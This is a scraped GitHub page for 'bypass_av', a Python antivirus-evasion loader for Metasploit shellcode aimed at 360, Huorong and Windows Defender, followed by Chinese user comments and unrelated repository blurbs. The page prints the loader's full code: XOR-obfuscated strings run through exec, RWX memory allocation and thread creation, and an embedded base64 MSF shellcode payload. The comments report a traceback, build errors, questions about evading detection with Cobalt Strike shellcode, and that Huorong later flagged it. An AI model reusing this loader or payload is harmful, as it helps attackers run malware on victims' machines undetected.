You are visitor |
axx8 / bypass_av Goto Github PK
View Code? Open in Web Editor NEWBypass_AV msf免杀,ShellCode免杀加载器 ,免杀shellcode执行程序 ,360&火绒&Windows Defender
Bypass_AV msf免杀,ShellCode免杀加载器 ,免杀shellcode执行程序 ,360&火绒&Windows Defender
运行import base64
import random
import ctypes
def decode(shell_code,keys):
shell_code_base64 = ''
random.seed(keys)
code = shell_code.split(',')
for item in code:
item = int(item)
shell_code_base64 += chr(item ^ random.randint(0, 255))
return shell_code_base64
def fs_decode(funcs):
fs_keys = '123'
func_codes = ''
random.seed(fs_keys)
func_code = funcs.split(',')
for item in func_code:
item = int(item)
func_codes += chr(item ^ random.randint(0, 255))
return func_codes
def encode(ShellCode,keys):
random.seed(keys)
ShellCode_2 = ''
for item in ShellCode:
ShellCode_2 += str(ord(item) ^ random.randint(0, 255)) + ','
ShellCode_2 = ShellCode_2.strip(',')
return ShellCode_2
def run(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
funcs = '70,208,133,111,226,123,113,146,231,30,133,20,54,203,71,77,230,234,182,55,207,108,203,231,232,79,137,160,182,180,203,54,84,167,78,235,21,203,131,209,183,25,202,144,179,84,168,137,158,181,33,136,154,102,166,98,8,179,139,242,251,26,1,178,19,125,22,209,56,51,119,41,229,118,164,182,74,178,157,53,248,183,48,58,66,179,109,168,30,182,106,60,119,170,147,57,73,4,41,221,62,148,2,9,60,188,167,47,194,232,35,141,240,193,78,169,122,86'
func = fs_decode(funcs)
exec(func)
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
if name == 'main':
ShellCode = ''' "\x2f\x4f\x69\x50\x41\x41\x41\x41\x59\x49\x6e\x6c\x4d\x64"
"\x4a\x6b\x69\x31\x49\x77\x69\x31\x49\x4d\x69\x31\x49\x55"
"\x4d\x66\x38\x50\x74\x30\x6f\x6d\x69\x33\x49\x6f\x4d\x63"
"\x43\x73\x50\x47\x46\x38\x41\x69\x77\x67\x77\x63\x38\x4e"
"\x41\x63\x64\x4a\x64\x65\x39\x53\x56\x34\x74\x53\x45\x49"
"\x74\x43\x50\x41\x48\x51\x69\x30\x42\x34\x68\x63\x42\x30"
"\x54\x41\x48\x51\x55\x49\x74\x49\x47\x49\x74\x59\x49\x41"
"\x48\x54\x68\x63\x6c\x30\x50\x44\x48\x2f\x53\x59\x73\x30"
"\x69\x77\x48\x57\x4d\x63\x43\x73\x77\x63\x38\x4e\x41\x63"
"\x63\x34\x34\x48\x58\x30\x41\x33\x33\x34\x4f\x33\x30\x6b"
"\x64\x65\x42\x59\x69\x31\x67\x6b\x41\x64\x4e\x6d\x69\x77"
"\x78\x4c\x69\x31\x67\x63\x41\x64\x4f\x4c\x42\x49\x73\x42"
"\x30\x49\x6c\x45\x4a\x43\x52\x62\x57\x32\x46\x5a\x57\x6c"
"\x48\x2f\x34\x46\x68\x66\x57\x6f\x73\x53\x36\x59\x44\x2f"
"\x2f\x2f\x39\x64\x61\x44\x4d\x79\x41\x41\x42\x6f\x64\x33"
"\x4d\x79\x58\x31\x52\x6f\x54\x48\x63\x6d\x42\x34\x6e\x6f"
"\x2f\x39\x43\x34\x6b\x41\x45\x41\x41\x43\x6e\x45\x56\x46"
"\x42\x6f\x4b\x59\x42\x72\x41\x50\x2f\x56\x61\x67\x70\x6f"
"\x43\x49\x7a\x45\x72\x47\x67\x43\x41\x44\x66\x30\x69\x65"
"\x5a\x51\x55\x46\x42\x51\x51\x46\x42\x41\x55\x47\x6a\x71"
"\x44\x39\x2f\x67\x2f\x39\x57\x58\x61\x68\x42\x57\x56\x32"
"\x69\x5a\x70\x58\x52\x68\x2f\x39\x57\x46\x77\x48\x51\x4b"
"\x2f\x30\x34\x49\x64\x65\x7a\x6f\x5a\x77\x41\x41\x41\x47"
"\x6f\x41\x61\x67\x52\x57\x56\x32\x67\x43\x32\x63\x68\x66"
"\x2f\x39\x57\x44\x2b\x41\x42\x2b\x4e\x6f\x73\x32\x61\x6b"
"\x42\x6f\x41\x42\x41\x41\x41\x46\x5a\x71\x41\x47\x68\x59"
"\x70\x46\x50\x6c\x2f\x39\x57\x54\x55\x32\x6f\x41\x56\x6c"
"\x4e\x58\x61\x41\x4c\x5a\x79\x46\x2f\x2f\x31\x59\x50\x34"
"\x41\x48\x30\x6f\x57\x47\x67\x41\x51\x41\x41\x41\x61\x67"
"\x42\x51\x61\x41\x73\x76\x44\x7a\x44\x2f\x31\x56\x64\x6f"
"\x64\x57\x35\x4e\x59\x66\x2f\x56\x58\x6c\x37\x2f\x44\x43"
"\x51\x50\x68\x58\x44\x2f\x2f\x2f\x2f\x70\x6d\x2f\x2f\x2f"
"\x2f\x77\x48\x44\x4b\x63\x5a\x31\x77\x63\x4f\x37\x38\x4c"
"\x57\x69\x56\x6d\x6f\x41\x55\x2f\x2f\x56"'''
keys = 'Axx8'
shell_code = encode(ShellCode.replace('"', '').replace('\n', ''),keys)
shellcode = decode(shell_code,keys)
shellcode = base64.b64decode(shellcode)
run(shellcode)
后报错Traceback (most recent call last):
File "", line 198, in _run_module_as_main
File "", line 88, in _run_code
File "C:\Users\吴振南\Downloads\Bypass_AV-main\Bypass_AV-main\Bypass_AV.py", line 81, in
run(shellcode)
File "C:\Users\吴振南\Downloads\Bypass_AV-main\Bypass_AV-main\Bypass_AV.py", line 38, in run
exec(func)
File "", line 1, in
OSError: exception: access violation reading 0x00001000
运行这个pyinstaller -F -w Bypass_AV.py
提示:
AttributeError: 'NoneType' object has no attribute 'groups'
(QAQ)
cs的shellcode如何做免杀呢?
您好,可以用raw格式的shellcode吗
2022.12.3用这个生成的免杀MSF shellcode,用生成的exe放到装火绒的机子里已经开始报毒了>_<
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.